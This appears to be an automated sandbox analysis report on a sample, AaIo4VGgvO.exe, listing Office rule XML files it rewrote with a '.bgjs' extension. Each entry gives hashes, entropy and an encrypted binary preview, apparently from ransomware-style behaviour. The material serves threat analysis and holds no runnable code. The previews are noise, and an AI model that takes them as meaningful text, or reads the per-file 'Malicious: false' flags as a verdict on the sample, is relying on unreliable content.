Preview:	<?xml~.zsVi.t..l.N...2.E.k...l...;Mb,...X...c....b......4.....c..N.../...D.ef.}q.$@.m..l....l5..;.).fdqb.S...C..O.X..~........^.i...9k..qW..q.g....ZW..4..DdJ%n`..+.\..p`.....:.....+2...qg..`.......J.A.t4..#B.h....k....IT..lb.7..^wV........J.z.?....c.-Oy&....&.)..V..W.....7./.}D.?.\|e...8....=Lf...gNt.S.:3..[f.b.)C.3..l.....q.]`..^.8Wr.Os....b...A..l.q...X.........d.....FvS\|.Hal..O.Z^...;.@*..<g?.f.k....'..{.....GM. .{...bp.d;...a.BE...o..s}...`x/.9.a....$....K...SW..Qw.V..uz.FHN.6.d`..G...S.cNfF.K.f.m.._...P[=.2.I.'.,.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.745074484516103
Encrypted:	false
SSDEEP:	24:KQcdclVoZ9EydJe30oOiTk60vy6/fXWQXHajcCCbD:KQcmOEydQkwTk26nWoH4cJD
MD5:	A3105FA5E3990CD25901E307D0987271
SHA1:	7BD565B3BD52143834F16456560D394ABEE0442E
SHA-256:	9E6E0580B84C6807A6129E5DA3C8A4B5B533E9866F71E8083C05D228F250D809
SHA-512:	DE34A0CD7BC951392AFC9BB4129C5CB577BFAD6105E0F576C863021B60486DDF7D029A181EC6C57328EC650EA64161E412BF74D01AB46933ABC798A1803E17F8
Malicious:	false
Preview:	<?xml$.j._H.\|.@o......6[..{.^....(..j..I........x.Y.....;./......l.j~=.....0.g.....v..G....E3D..U...........Uv.....O.S4>..........K+..@\|..&m..`.."\N...9...^jd......Na..p.c. 5..e:...8.'.+_....,....]H..eX.....j...p.0.....KF.98....$gH......z.o.H.. m.....,gzRW.1.....A.+......2X...=.t....r...#...8.cC,.:U..Huf.X3lRh.../(..V...Z.~,....f..fNl.wX. ...Y8v..N..s.u...=.....h^.ul..;..y..{I4..qv.kl6.NKN..K4@9.\i...)1..=.=.._..c5.Am]..d^..1C...j.3./+J'=d^..Zu`I..dGs.!..3.o..4....u......D.r.7..N...}.fi'...r\|..K........4.q.r....CS~..-...c..7.[...UUG..8..x.....w..."."..]....e.V. g....a.H.Y.../..~..0.Qc'...Z..&y>..;.w$k.-.c.\|.7... .P...6...j..."`qj2"....FK.iZOo..9......C["v.~eG..]..4..7.z......!d..,.f........_.J4...Zp..5;..?v...zcC....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.967975122949363
Encrypted:	false
SSDEEP:	192:dj5bWlTVy9kjiMSKSHVYZEEl4WmoxxZw1:d0jy9Yi7SRGA/Zw1
MD5:	CE44300C29855A1A88559A06C85BBA26
SHA1:	AA3DFA5EA7DE1DEF77D8373F0D9D03440BF2EFBF
SHA-256:	45367ECA4B721D35EEC6A19D85B0D63FE401E38D7A607810E2FED811C1006224
SHA-512:	DB5B311C3507A57E9C8F54D2DE15447E56F274A81B270E93089D18ED14D8674FB981535823A6AB724D4A34039AB17A64754AF55FEC19B594363B45A18C71E1AA
Malicious:	false
Preview:	<?xml\|.;...eF-`.W.....=u.;.bp..Y../'l.5...(..%.....,._ ....m....C.;.D6`I...Z.'...v....#p.L....""D.c.d.k.O`.5...D:...Bh...pM.z....Hd..Q.].....S..R.w\.N....`..Z,...H..mhf.C.o.rI........P).&....E./......l.....5r.p..s..J...e.^.f...j..iR..#.p.........+.L..."....)L..I...MU.!..8..X.0..Y9..)Y.8..i.U.1A...(P}."0..S.M..Yy...K.G......k......z...2......DZ...2.].ZbERQ.k?..1.......w3.s...j.6."..C.S..W..}h........\DI.}...]M...%.e.)A.9"r..(I...O..'..r..{Q.R............W...E{R.(.F@.......y....9P"C.....@I8.-i.l......=}.D.t...Pn.Y.,..j.&.......r..H3...2..y..:.fC..H..>..$.s.......g6=kHH2..D...l..iQ....%3..5..l..]....\.@...d+R...w..m7.."N.....m....m1.X.....;....nQQ}.....J.....aV..$N..R.?.../.[.s.....K-a.D.....k.).....T... v..X.f.....q..C.F..4.K"8CY....A.......Z...9......u..."Y..V..w.v4..5.\|t....1..V.>...=.h$}mz.J.K...v...u.RCC.Ynnf.....~4..[,...t...y.+.I..O..\"_3V.\...g.1y.....=.Xi..*=0.....B...8v.Q....HL......:"....zO.\|y>..i.%.d5......O.&\|...5n...?.&bc......m.%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.759290333832549
Encrypted:	false
SSDEEP:	24:FBEDDK7iPVK5akoeUDydHNqCaL6sv5ULehnAibD:FuDJaagdHNpI2KD
MD5:	2C2FF6304B4FF4F845A24DB44882C9B9
SHA1:	4C7970DDE1FD6C926015FB8155C520696DF8941F
SHA-256:	3AA8FF190A1AC0DF8A4D624655310B3875C6F280F8405F83C1FEC95466082599
SHA-512:	115D83EB41FBDB7DC94FF61695D037E2ECD924B573EF6D9248E07D2E017F1A2FB369E45A06DD0F86D4654EA537BF36E2E0113788A0A5809292D62649725A191B
Malicious:	false
Preview:	<?xml....j...^V.W..z...n....:\....4.........w.sE..:.:`.(..7.0.iQ[..t.E...s-g[..)+u.o.........A... ..e....P....m.4o}..'.#.y .....r..S....].{.zi.....P...X.[.]...\$.b.<K.-...ex.hh....m.E.9.Z.A....;L9@....{a8.U.Y.-..D...%?....o.M.....QC.n@khOI....M..6.. ...HH....2MH....u..].]....A.)..[Z...sRl...To.8X..0...4(n5.q.x...B..........$.. .h.P..r....;...[1....I.N..@.. ....Z...cHD+R..sS4(..;5..#..(..@ha.@...3....M..T....gK..;..M.gO.Z?.:....}..R^.6.r.Nf.\|.F\|g.#.}....4..yp......sL..[@.M.......:..."..#.23..H.i&."\wL.z....8`..@.b.....Q......u.O.....J..PM...p..Ww.Y..@..6X..f...D4...^#`v<8..,_..8.qywKL..h....\|0..R.......B..._...F.oa..+...'Y.......P=.:4.y...Q.9.Z...j..G.k.b.3.v..~...;$.V..7.@.Y?...-...a..;`9D.LN.5.....Q....JX.\|.9..a..IE..D:s.I.2.}..%..V..y7..:....A"..U..e...T.c.s..9...+G....2....u..wV...0...`D.?..WD.r...pM$.g...Ds[.........gp.9.x."-.S.\|..E...B.....-.]...B..{O.....*....\|..d..F.@334P....>pSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.800317837511212
Encrypted:	false
SSDEEP:	24:diwmHSNdIA8HSetW50VITEgrqXeqnu1sT2DbD:dpvIxHxdVITEVjnWjD
MD5:	40ECEB7E3759D30B4B394F258C6B1308
SHA1:	C4935103FD6D4C4E238CDB5AD551942BE4FD04DD
SHA-256:	B7123B01F1C3014444C9383D787B662F7BB634C1752E2FE7A8F4AE1097AADF2B
SHA-512:	1D502C898C12F269BECD5F55C27D23FCC90B3812BB45838A1B51BB766BBE38000CEA26C3A316D6636007AF0FD47D23724F117661AD6A136002073E2F52F6EDFD
Malicious:	false
Preview:	<?xml./...$n...9.,Tu4Dy..8J.L.....aN..1...\..v.d(sF......l.\.....^..R.c.g.%\|C.Y..A`..{..".?.g.N.....O..LvJ._.J.."....5...:..G.....qL?..........@[..q....A\}.U..R2.2...C.Lhe..^8.b.....(5..}...O@\.L..Rp..\...My0....5....7.5H...DY7p.`.YG..=..."_.!.?.TXx...6.e..{..\-..m.a..Hs"u,h.N....,.g...}>.kP.O.....2......5}TH&..V.. ..u4...&.j...?.`..u.w5...b.%..;....>...:.2...2..x4@.....T..S.@j..+.L..F.....nL...........@... .lA..M.U...r.r......0.2.....7i...>...].....+..=.....%.<.....v.)..~y..C.......I......U.]1.n...._.L. .%..`Y..Ng3.. IY....s...up.......ti\k#.#........7....f...b.^.....T..H...`..h.......}...{../2...m.Q...09....LG..`,..%..<.dYF..K..Q7$...K...G...g1....$.].T.#J......s...;..Uss..o4.....c....E.b.8.^.[.k..P..5'.../....x....@...D.V........s.v!....%..W.....~/cv..%...s*....mL.....&H..^Y....-........e/K^<i.J....%..n.B......k.2....gZ.o$..)..\|.u......:.n......T..$.5.l.5.d...Y....H..Ox`.h@..tj..W].H.K=vK..'SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.877521766374722
Encrypted:	false
SSDEEP:	24:d6v+awcmEUrw3BxwAN85EsbLyGNw57jwtHS0ATJmWVpHIv/0aQ+uDcjFM4bD:d6v/B76SGNw5cy0ATJhD0mG5D
MD5:	BED2E0651D243FFC10543534ED5EFFEB
SHA1:	7385CB66A27EBA971ADDF9EA65AE69E3C40CCD01
SHA-256:	E15EDD1BF4738E196BA4BC82A5709DF93410377E5BD3C25DBA36DE0724E136E8
SHA-512:	A40AB101D8E9EE0F2557E188E08D61B42D46B98838F9D69CB44528E9BAE956A0BFBECB2F7036870C29337E5B7096BDCD311D200CC1F1C3E41A9FFAF86814453A
Malicious:	false
Preview:	<?xml...8.&..x....E.......&ou...~.0AH..m...-...K}uL...q.....x.1`....MT<.!.d.Q_..T.6&x".X.........vCa.t`.d..FHXN]...mli.NO~[.9.V.......@A...F......yDp.r.......e.....H.N..tu.`hk..8z......]<1.oy.w%....L..w...W;.S..b...L...2ly<.F..0.1...^...R.(..b.S..I.b..Ax....@.....;.l....TB..N...v.d........M.e..'...82.r.....i.'..'.@@.......c.."...b..x+...)Fqc5.......S?.....9..e........rE.l!.#...].-m..Tq.....)fv.<@Y^S7xZ.ao...4$.=.......... 'Je.O.kg.k.f...F .e...woy..[..5}...._.>..A\|.\.4.6C~...}..).........9.._^ .gY.=L(...8\.3.=...@.p.V..Q?=T.../x..f.ey.8..F.1...1"2..r........x/U...-x...v.s....X....G..]NJ..z....c.$...?.n.j7}V..q.m..:.yVk_..[....y.1...Q.6x....2.U.......s...^..6EQ.D.....@p.....9p..u..%.^.\|k.bL..u.v{.1..=...'3v\B.tB..R=..........<.c{..w!..t.0..-w.)Y..."R.b.....N...;.S.V._.y.o.l.P.V..;e....a...h.O...Mni..3.l...4.(..{.@'U._....q....T........w(..W.F...8...Q...$.GH......mD..2o..i..].I..^...F......._...i..i..$....$............1....Y.....J..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.792973599064512
Encrypted:	false
SSDEEP:	24:tO3SXXDe7jWhMymeQjelDlvtkCyex1NT7CbD:Ukq7jWUeQ4Dlv3dTQD
MD5:	BFA32AA71DB926668FDE68ECF8E48905
SHA1:	FD8BBE0F2A08493E13B67B4B7B784729EF49E2C1
SHA-256:	CE7AC53CAD252A13D480422966FEEE62664E83BA14A076BFDAA71963D1829F93
SHA-512:	A4757182A54A3B3938390BA7216C0C5570324D0CBC8FEE3B138D2F7DB5EB3BAC8AF7333DD0B1C1EC6C63D951552BB87EB7CA7D0F2BA30D3CEC91566E639D0158
Malicious:	false
Preview:	<?xml.T.6...l.-\.%.......o i..:....B%}.#....S........5%..../%..../..3.2sDu .5..d..6.?..uG..g....wRZ-.y...Ki.N/.(...r..J..-.t.Wf.....3qo.r.s...b.k/..k`......j....O.w....>...p>.%.[BKW..+].oX...Dc.ea:.....[C\|T...3.q.l.^.."g..5N.-...tRA..I..P\..B.p..5..1z...Y..[.....b...a.........{K....sz...VK.....H.t,.Vx.qxo.M.K..e....!/~"..py...$J..rr..u..{..M.[.>@....j..a.D....T.+0.K....br..2.n^.d[...N......./..~;U.b..h...&&.....n$.c.>.3..4/t.........0.../.w.zx."%l...x\|g#...W.#c/.77.8..F.\|..T...E.....gp.1.gI].Y.<f.#5.l.?N@r...~l.!...6..........w.F..h.......-..D...h.G....%.S..&)..[VYZr'...z\,g..>Yn"/j.._.S5.d.<...g.n4d..mFb..e....b.?..`....M..5..g.......w2..i~.;MG.==..R..p;A..jBA..ix.....$..kVE.[<..;\|~......7..1S....g"P.J.c.......L/...W.w..\|.q..:../.{'....e.F.......O.=.....G..6g.q......:p.pY\|.U..f\._Qm. ?)...v.w2....y....~`.<.;8S....+Vg 1.F.I+R.+.U>....jl.+..s....G.o.....k..qo^.+P.Q.zHk./..n..R.)...;D.........X..".....vm..{6..N>m..gGSLiby

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.809607567650198
Encrypted:	false
SSDEEP:	24:vs2Oc94S8Opk7n83Zzv6Rs7bHgUOUPOJFuCtVXS90QHbD:E/bapxGWHgpUP0jXPID
MD5:	8B980564ADEF677CB177D087FD689837
SHA1:	93F7909E8E0EE3521E67D8558C15DDFC41795418
SHA-256:	3AC6B3DC925C3B9339BC434D179CE95A30BDD2EBAF56D7E813F7196EC7D57BCD
SHA-512:	FAD0886934A4D39EE9391D1F93F80DAD4A452E6CC9EB3F26E354F3645468412B562205FAE0B2FDA16DF3DDCA871EC3FCA79D4CD6ADEA1229E153D3530E84D544
Malicious:	false
Preview:	<?xml4v...Z.....w~...7.<.^..4..(J..&..X.^.....C......>.PJx...=..m8...!.r.s.&l.;f.)..7 m...F..<....x...v4.U...i..X..9. ^.....n......T<wy..)bq\|c...5.8....[......o.;...v/...!..._...k....j..l..<l.%.s..&.($..L..U........(........O..\..x.%....u..o c...Y.._vJG>.].4.....hs.?.l....2.{3+....[..T.-.......>-`p.`...z.z....?.7....!..+.g_.......0.....S.......,7...4.).D...-.{W.........MS.U.6.s.kB..'3._...#....v...f.b.W.!....9<..xOXn1.d#[..y:e<5.....-.4w....I...;(7....[......Q2`.L<d........x.....".....a.Wp].6.W...Jo....\|.. 8;v.?....F..~.Z......2..l%).\|.......^..~...D......Yw...z.....]^kI.FnB....cAX .2..0...u.Q!'7<G..M.".n~c..k_..Xh.....-.-..I.^<FA[3.p...W.....a........:.....7#1.T2......f4v..;....[]..z3..MY.i.5C O.........`W5y..<.{..I.."..P.P...W.o.%.\.5..mj..6>_i&{@9..r]..;.B.<!...>.........*...4..yP?{DIC)7TU.>LD..!..JEV_.g..A.t.B..s.6..\|.........F....H.q7..E.Z....n...[..d.t..w..b.3u.$.+.rm.......i9j,.O..g..Wv'..HKD.l.`t+.e...V.rk..sUTV....w....{.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.869916958611354
Encrypted:	false
SSDEEP:	48:7pJqAfXZUEqlgMNuf0EAsZzKJVige2U3KIrMEfD:VMKkN6LfZ2LU6I4EL
MD5:	1FB9FBD7F5822A1422DD19C10000A11B
SHA1:	929C2B3B1ABB2C798680FC24C9DF243CBC9A1836
SHA-256:	340AF3FAE05E4990D5B47CE7AAE0713862DDDA010D01A1350C0CE9A98A0C75DC
SHA-512:	807E11D3083AC9F22C15F5890EBCF2DB65179AAE8FCA02EFCE0F7A115A152E6ACCFA7C15185CBD9BC501A55D4E15CC12A0048BC9BF94EDD4378D66DB9D8F03AA
Malicious:	false
Preview:	<?xml.`....V..D.....d.6.=......o@H}.5k.[..g=..'.,8.[)t,.......M...Z".....c.,. -...3..\|.B.p...`I.....6/....].\..O#.69..:...6..o.7..t rMu....PB.Hdf..Q[..,x..H.>.....\|..U...L.\...$/1.L/...a..\|-J.?.9.......-l%.3....W.."p..........5.\p48..LPA\.....O.k......tk.{y.$J......S.{2..zn.,j.(.2G..h..a...l;U_\.X.4i.3..#.GsC..=&..I.Zf..:,9an..o;........Oa...}9.}.E........;..%:.P..G..\h.kH>...bV...Y.M..U.B.G\|F..p9..f6..u.....Z.mI....}"....+B.x%.p.qGJ0.z....k.....U$......#B..\|P..P.9....R`i.......'...D.CV]/.2..N.&.........U....v...wQ.w..<%#`.....{.Y..w..Y....Q.}mk..3...... .i..8..J.G.].......7......z.4...Q... i....\|G...X}i...=..... ..#.!s.c.V..a..-...9.....D.D,.:.....L.."...h.^.Y..b..... ..zZQi..H?O..:..h.#bd"T.p."...T.{..b....j.V.....!=&.-..P..#."..'M.}..F.B..E.+...k.J(S./-....w..r.hd.%..#C.31....<n..g...C.{....@..........?>..\V..n..'Mkf%.<......]..\.<t.....WV...p.;..P.^/.7....c...2..D.h.[J._.3].c.&[. ..@.,...z......#..[...\.?.....K.K.o......N!..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.701509036346209
Encrypted:	false
SSDEEP:	12:SyoF40h/X8vWTB/ynXjxuCehCeI21uwRiVA77PIyxYu3D18Mkw+lwQ57tq5riz1H:bYMWTsnzxuhCxUiS70yxYu3Dd+lwQ5hv
MD5:	520374113928E88AE75A465FC57FE75E
SHA1:	2167D5C300CE0FD4F60DE71FCD7A9C2DCBCC011A
SHA-256:	D64A694108E3CA05AB0F91728524DA56EB385ED0F419C688ADDE61FF58E0C166
SHA-512:	0CDFBE6396C7CA7B05FD28FAB06D79FD294F9CDB749C9E2DEC06F57A875EC70DF80D310B978D7512C5A571E7060AA0E4DCD37FABAC953243EE647B843FE43003
Malicious:	false
Preview:	<?xml.....&...3......&.<..l..>.{..^.{.h5...Kb...H$........).QH.q.2.....s.Dm.p.`...0..M....V..F.\...&.l./.!..b.L.l......<.,.o..'.{?xZ.....}...1.V$..m....xe.L.-....~d....F..a.?O2{..R.P....b.qS?I...d}r2.'..K.;.u.c...F.t...H...@..s...j..N..Y.......rc...wt.L4>.v.`....h.. &.Q...$..............Y..r.1...Fj....n...Z;...tj.H.n/..@.".).$.( .......<T...[ %....T........=o1.F/.++.D.&>..._.{n..A..#.~...7-.b..R..W.....mJ.Fw..v.N.....G..?...o.1..1...P.r..(?...t....M.(...s.Ow....LY.#)]e.Sb....P...R.F...L...U.....u....]4......v]....{...#..uI...tnu.H...."...Y7.>I.b.p,..O5...c.j.T..l.......*_......L..o.....@.}...y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.874908052166651
Encrypted:	false
SSDEEP:	48:vaGyusI1l1BF1NXq+d3yzxPd2/55WMx/D:CYsMBFnXjdyK/bWM9
MD5:	BA57C8971660A46BC35CF4E21799C6BA
SHA1:	02D3DC30F262D4F5D7FA1EC027F08C52A42A3178
SHA-256:	BE89FE434BBEECEFE7E4314B13FE508EDAE52A153F343DF40A7BA07FD18F83C5
SHA-512:	444EF4AE6546744752EEF236869B50C3F07C2CE4156AED3C834A0C81D98457E07824B0C248D72D42528BE7B44CF0A4DB3D67CAD53F76CFC8264CA4DB8BBDBEE6
Malicious:	false
Preview:	<?xml..c...9.!....A...Y.qX.z...........c.7..... P...\|.[0...J.......AY."b.y..:.+..i..f.H#J...H.....[n[..-).KHD...c..b...p..R.....(I..~T.....p....<g.#....ma.....k.c..N.O.nd...O....OV<...`..._.......5B.....h..\.J.\|v..(.#RPn...g........c..u.#..%..'l~!k.$...../.iW.3.Y...h.%b`R.'..AH.5."...o.o..<..\|...Ss...x.#..m.yq$..{C.a0..X....i....=....m/+H.PO...u.\N.S.......5.....:..v.P.c...5..v..7m0.... ....?2..z.....<....[!.5...@............mH......m.#.m=..c..^...,.+A...1..lHI..."3g.%.....4...&w.n.0..q..m.M.+t...u.`>..f@..{.H...h8....WZ./$..7\...?...C{5<.Nu.2i."k.....c.%e.#."...k.H....BM.!.f.a.....S...c..^....j.....h.[.....\=0..^..T.2}Y..L..4v[W:@..=3..~...E2&..L.$..u.g./.o.K.wMI.W#..=..GY.../......5._q5......w+.3.R@.ooB.w...r...;.E...:.V.v+;t.b.........PF..g..x..-Cs:y....x.[.v.....=#. g3.L.df...(...i....)^.k..I5.n7....}.(6.l1...m.l..~..!l...$..V.Bs..b.W.lL..l.......M.:.+..V.p~RK.0...W+.....]...e..8*......\|..qG.h!.m..g-.....!W`E...}.......%...2~

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.893054959921879
Encrypted:	false
SSDEEP:	48:l+wRyjKyp9xMOu5VuIoKLQl0gMIn9RkHVFzUmWiWIGfegUvVQXD:AwMjKypXruSbGylMI9R4+iODUdQT
MD5:	27C62BE92730EBD8A6D6637929728D70
SHA1:	4B3BDE34C01DBD8475D046D32817E1453A582EB4
SHA-256:	73B20ED16998A885AC5B645496F30AF2984E9C1816D6863D50E90F3C49BBD101
SHA-512:	163E0F976C6EA7E9D2C0D89419D0E4F36C84D247676CFA770EF1CFDC773DB05F0C91357E89B8D83CC29DE9F89952D8B10C167891A98EF8D63FF0F29CEAEC1F72
Malicious:	false
Preview:	<?xmlOG....Tj`..'".&...S?@...=....#..P.._...8.U...o..E..`.w5x.X.9..E...4.....e...R.>,.p..{.........U....d...\|.I\....b.k.-..Fy..(...8...I"..I..Ro.....3...a.y.R...q.n.<./...X..?s.....m`"E..;.......'....`Q7'...{\^.q@....YC.7$NB..zD..H1.T..%9......._.ox2)).2../\.N.nYS.``"K.......j55Y.).\|.J...eD<.E".J........x.+...q...~@w...kr...4}..z.....:..C...n.h0f..A\|.}.`b.\|7.)..^q.=..@a....WD.w.8.\|V.Yje..v/J...wW.O.S.G..........'..6.1...i.)\|.l)-...X..>.J..(... *.?....q. ..FcS.hq+Y....j0..;..+"G..o....j4...$.a.U.IK...b.......d..n...4...;."{.=..li_J...B....D...`.0-.}....F....t.m.i......?~....6C=........-[..~...B..\|.v.\..m.<2..8.."...L.u..........S..P....Zg./SE.0...^..J...NbA^8e.,S....=a..1.k....L.D3...y...k....pn.n..:.\|]...h.A.o.~.%".hM.<\|.M..}V..M.q........~.V.@. ..uu.BX.9..$./...;.........[_bF...K.....c.28%....1K .nX)..z.[o..z......(..W..=......m...........(.Mw[..;.........w.%..Ezpwz1..D...c.....=.$.,>R...g..]......><].3.HL...@E.w+.E8.6.2..a}.n...72..Nb

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.881239127639806
Encrypted:	false
SSDEEP:	48:jSRWrZKFG4RtN9Q6gxzZsaou1U6USDtIcy1AluCD:jSROZo1t0x51xUSDCcy1AluK
MD5:	047EC5396A3E255955943D26D920CC18
SHA1:	E6D8948882770FCD3CCA2EE4802685D56A53C537
SHA-256:	478D56B91D3C30D94932A39FBDE3C92F2239AA5FDF905DF629EC6E3F55C429A7
SHA-512:	E4AD4143D7580886339FF7A0993B81B35847F448A39A5BFAFC0CA6D41E8FDF6EE35EEF21D8E6A9D530D9B9BF7277707E711F764DDD63952924A5EAD0170DACAC
Malicious:	false
Preview:	<?xml..1..F4....;.!I.TE..".,..8y..g.U...D..$..<p7..P.....uR<.U...Y{.N[..a..(..>.O...\...-l.;....~.>n:.P.4VA8...1..s./5.TV.#\..f../@I[~OEl.b..k.r.....Y..........X..4..F.W\L....p....1..GF?`..M..o.(.&.\|X.....q..;#l.....Z.m.._R.TR..V.duw..."..~.#....../.7..?..fLy.4.W.W".n../.m....R..8....Y....o..<......:....v..BY.,...AJ..M..a.a.....""Cn.....l...oO1.:OJ'8&.l...N........b=.=.y....fC.i.....{.T-.>\|...G..3L...cD..M>h.8........M.l..V.o.....HHFt.............@c..~(..E....]-.t..d8L\|S.....z0vm....Q..j.v..hc..,q.d% .d.....@~.0..;U..%...sj.!.&...@...a.0O.IQ........$l@qb..6Y..N..Ht\."...r>..k3Zw..GS......O....@W..#fB.Y......:.m..!.I. 9.....U,....G;...P<.....v.........(..S...%.....{q."f..Z.2.?/F/..V..<.j}tiW$,-.f..+....w.P.0Y.VZ..C.....1Nx.'%..b..E.!@.x...d3.._....w.29+s\|Je>.../C.\|(...k1H.ez.=.(...q..?.y..i....`....H....0(.....'......=.&...#V.. .c.@M(.1.D6...=.....2/...;....W...........+KU..\...B......I..,..IT...-Zn..I<].(l...%1..:L....^.@....AS[.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.776729274573366
Encrypted:	false
SSDEEP:	24:ToDZjLo/8zi+WjTRxCMkcnx1ltWowth8t+DGbD:8sgORxzx1YTYAUD
MD5:	064E6FA6A961B44252D1BDF6E7F5ABDF
SHA1:	0A2D14B19E6FFE0B3CB1E6011250CAA533E52C4D
SHA-256:	C83DBBD0356CB0FEAB13CBC369C5C3D3BB7442123C5F6A896D392758C4F8B862
SHA-512:	A9A07AF2E95CBA43BB9A8A6468C902E1412E581341B6B73B5ED9367E0E0A948C27B2F3B698595DAB9FED5A0D816AD1AFD9F83207438C7F98A706ADAA68A93FEE
Malicious:	false
Preview:	<?xml .....CzP..^fxa.@..E..>...V.y,....#..Z"...J.J5...e.9..^d....l./....g..\~l...22......\..S.n...~.....]..$I..>.C....l}...,....E.;R.....\|...2NP[...rU.W.G.vC..C.......\..{..........h.6...U..P`.&B ..%.j....K...`H.4Ed.&...$.+..a..#.0.>..N.....\<,i= S...%.42.T..u_.Lt.w9...30."y_.`2......~;c..6..W^.(..."..x2_.U...1:^M.(q..fW._..B".)c%.;~... ..Hy..r..;.(JS...K.....D5.$x.'...1....?...o............xf9._[0W..O...\..!d.T.....Z.L..2..1^....`.......uG1....oc..s..i..h.k+[..`.C.A..)..i-....E.$.9.8M.Q.Os...Tu.Wg.....W.p..)....N...R./m.......&....W.(c..Z.!...BV..Q....x...E........\x..0f.E....r.a.CD.i..U....\|......Civ.H..T.../.&..L..A....:W5).......L..1u....Z^:.7..G...R...?.3fR.{-.N.z...<.j\|.L S..L6v.....e!.h...NJ..j...4..m..Y.e..\...:....%..;v.%..r..........q$U..;_.k.yQ.5../...r.<..CO..f.?.4.....aoQkI_...g....+y.l.\SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.773618516716001
Encrypted:	false
SSDEEP:	24:1s28lZWxfkEbRV2MdfACOnYUxNVVToVQLoOdKmxbD:S28+fRRwJNzToVQLoahD
MD5:	73D0E4BC93568CE06523482C9503D7E2
SHA1:	5A6E5B129DEF7360328D024AD7A3730F66664F7C
SHA-256:	82B0B2F71540839040B6247A8AE79B09D0263020F8A97FBDC510385BC4F0B909
SHA-512:	26E783F167216ADDC2DD5439EA9BA12A3DB11168322D4CFAA5C022C25A746362F6387FEDA788BE02BCC8605EB91EECBB5F520B33EE8DE0CC09996E1E19D103DF
Malicious:	false
